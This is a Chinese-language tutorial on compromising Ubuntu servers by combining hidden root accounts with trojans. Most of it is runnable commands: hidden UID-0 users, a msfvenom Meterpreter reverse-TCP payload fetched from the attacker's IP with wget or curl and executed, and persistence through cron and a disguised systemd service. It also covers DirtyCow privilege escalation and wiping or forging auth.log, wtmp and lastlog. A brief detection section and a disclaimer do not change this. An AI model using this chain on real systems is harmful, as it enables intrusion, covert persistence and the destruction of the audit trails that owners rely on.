1. 影子用户与木马攻击的基本概念
在Linux系统中,影子用户(Shadow User)是指那些在系统用户列表中不可见,但实际拥有系统权限的隐藏账户。这类账户通常通过直接修改/etc/passwd、/etc/shadow等系统文件创建,不会出现在常规的who、w或last等命令的显示结果中。攻击者常利用这种技术维持对已入侵系统的持久访问。
木马攻击则是指通过植入恶意程序,使攻击者能够远程控制目标系统的行为。在Ubuntu服务器环境下,结合影子用户技术的木马攻击具有更强的隐蔽性和持久性。攻击者通常会先获取临时权限,然后创建影子用户,最后通过该用户部署木马程序。
注意:本文仅用于安全研究和技术防御目的,任何未经授权的系统入侵行为均属违法。
2. 攻击环境准备与前置条件
2.1 攻击者环境配置
典型的攻击环境需要以下组件:
- Kali Linux攻击机(最新版本)
- Metasploit Framework(包含msfvenom和msfconsole)
- 目标Ubuntu服务器(假设已通过某种方式获得初始访问权限)
- 稳定的网络连接
在Kali中需要确保Metasploit服务正常运行:
sudo systemctl start postgresql sudo msfdb init2.2 目标系统信息收集
在实施攻击前,需要收集目标系统的关键信息:
# 查看系统版本 lsb_release -a # 检查系统架构 uname -m # 查看已登录用户 who # 检查网络配置 ifconfig 或 ip a这些信息将决定后续木马生成和提权操作的参数设置。
3. 影子用户的创建技术
3.1 传统影子用户创建方法
最基础的影子用户创建方式是直接编辑系统用户文件:
# 在/etc/passwd中添加用户(UID通常设为0以获得root权限) echo "hiddenuser:x:0:0:root:/root:/bin/bash" >> /etc/passwd # 在/etc/shadow中添加密码哈希 openssl passwd -1 'yourpassword' echo "hiddenuser:生成的哈希:::::::" >> /etc/shadow这种方法虽然简单,但容易被高级审计工具发现,因为:
- /etc/passwd文件的修改时间会更新
- 可能触发文件完整性监控
- 在较新版本的Ubuntu中需要额外的权限配置
3.2 高级隐藏技术
更隐蔽的做法是复用现有用户条目进行修改:
# 查找很少使用的系统账户 awk -F: '($3 < 1000) {print $1}' /etc/passwd # 修改该用户的shell路径和UID usermod -s /bin/bash -u 0 目标用户名还可以通过LD_PRELOAD劫持或内核模块注入等技术实现完全隐藏的用户账户,这些方法需要更高的技术能力。
4. 木马生成与植入技术
4.1 使用msfvenom生成定制木马
针对Ubuntu系统的木马通常采用ELF格式:
msfvenom -p linux/x64/meterpreter/reverse_tcp \ LHOST=攻击机IP \ LPORT=监听端口 \ -f elf > /var/www/html/update_package关键参数说明:
-p:指定payload类型,linux/x64/meterpreter/reverse_tcp适用于大多数现代Ubuntu系统LHOST:监听服务器IP(攻击者机器)LPORT:监听端口(建议使用443等常见端口避免被防火墙拦截)-f:输出格式,elf是Linux可执行文件
4.2 木马植入方法
常见植入技术包括:
- Web下载方式:
wget http://攻击机IP/update_package -O /tmp/.systemd-update chmod +x /tmp/.systemd-update /tmp/.systemd-update &- SSH隧道传输:
# 在攻击机执行 cat update_package | ssh 目标用户@目标IP "cat > /tmp/.ssh-helper && chmod +x /tmp/.ssh-helper"- 利用Cron持久化:
(crontab -l 2>/dev/null; echo "@reboot /tmp/.systemd-update") | crontab -5. 攻击链完整实施流程
5.1 阶段一:初始访问
假设攻击者已经通过以下方式之一获得初始访问权限:
- SSH弱密码爆破
- Web应用漏洞利用
- 社会工程学攻击
5.2 阶段二:权限提升
# 检查可利用的本地提权漏洞 uname -a dpkg -l | grep linux-image # 尝试经典脏牛提权 gcc dirtycow.c -o dirtycow -pthread ./dirtycow5.3 阶段三:创建影子用户
# 创建隐藏的sudo用户 useradd -o -u 0 -g 0 -s /bin/bash -d /root hiddenadmin passwd hiddenadmin # 从日志中清除痕迹 sed -i '/hiddenadmin/d' /var/log/auth.log5.4 阶段四:木马部署
# 下载并执行木马 curl http://攻击机IP/update_package -o /usr/lib/systemd/systemd-update chmod +x /usr/lib/systemd/systemd-update # 创建systemd服务实现持久化 cat > /etc/systemd/system/network-helper.service <<EOF [Unit] Description=Network Helper Service [Service] ExecStart=/usr/lib/systemd/systemd-update Restart=always User=root [Install] WantedBy=multi-user.target EOF systemctl enable network-helper systemctl start network-helper6. 防御与检测技术
6.1 影子用户检测方法
# 检查/etc/passwd中的异常用户 awk -F: '($3 == 0) {print $1}' /etc/passwd | grep -v root # 检查隐藏进程 ps -ef | grep -v '\['6.2 木马检测技术
# 检查异常网络连接 netstat -antp | grep ESTABLISHED # 检查可疑的定时任务 crontab -l ls -la /etc/cron* # 使用rkhunter进行Rootkit检测 sudo apt install rkhunter sudo rkhunter --check6.3 系统加固建议
- 定期审计系统用户和权限
- 启用SELinux或AppArmor
- 限制cron和systemd服务创建权限
- 监控重要系统文件的修改
- 保持系统和软件更新
7. 攻击后的痕迹清理
7.1 日志清理技术
# 清除特定用户在auth.log中的记录 sed -i '/用户名/d' /var/log/auth.log # 清除lastlog记录 echo > /var/log/lastlog # 清除wtmp和utmp cat /dev/null > /var/log/wtmp cat /dev/null > /var/log/btmp7.2 更高级的日志篡改
对于有日志监控的系统,直接删除日志文件可能触发警报。更隐蔽的做法是:
# 使用工具伪造日志时间戳 apt install libdatetime-perl perl -e 'use POSIX qw(strftime); $|=1; while(1){ print strftime("%b %e %H:%M:%S", localtime)." hostname sudo: session opened for user root by (uid=0)\n"; sleep(60); }' >> /var/log/auth.log8. 实际案例分析
在一次真实的渗透测试中,攻击者利用以下步骤成功入侵Ubuntu服务器:
- 通过暴露的Jenkins接口获得初始shell访问
- 利用过期的Linux内核漏洞(CVE-2021-4034)提升到root权限
- 创建名为"backupd"的影子用户:
useradd -o -u 0 -g 0 -s /bin/bash -d /var/backups/.cache backupd- 部署定制化的Meterpreter木马,伪装成系统更新服务
- 通过systemd实现持久化,并配置每5分钟向C2服务器发送心跳
防御方最终通过以下方式发现入侵:
- 异常的出站DNS查询模式
- /usr/lib/systemd目录下存在异常的二进制文件
- 系统负载与正常基准的偏差
这个案例展示了现代攻击中如何结合影子用户和高级木马技术实现长期潜伏。防御这类攻击需要多层安全防护和持续监控。